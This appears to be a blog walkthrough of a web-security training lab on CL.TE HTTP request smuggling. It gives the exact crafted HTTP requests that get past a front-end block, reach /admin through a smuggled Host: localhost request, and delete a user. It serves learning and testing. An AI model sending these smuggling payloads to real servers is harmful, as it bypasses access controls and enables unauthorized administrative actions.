24.3 Lab: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability | 2024

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but the front-end server blocks access to it. To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos | Karthikeyan Nagaraj

Karthikeyan Nagaraj
3 min readApr 29, 2024

Description

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but the front-end server blocks access to it.

To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos

Note

Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the Request attributes section of the Inspector panel.

Tip

Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.

Solution

0. Make sure to read the Description thouroughly

  1. Try to visit /admin and observe that the request is blocked.
  2. Using Burp Repeater, issue the following request twice
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Ignore: X

3. Observe that the merged request to /admin was rejected due to not using the header Host: localhost.

4. Issue the following request twice:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
X-Ignore: X

5. Observe that the request was blocked due to the second request’s Host header conflicting with the smuggled Host header in the first request.

6. Issue the following request twice so the second request’s headers are appended to the smuggled request body instead:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

7. Observe that you can now access the admin panel.

8. Using the previous response as a reference, change the smuggled request URL to delete carlos:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

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Karthikeyan Nagaraj

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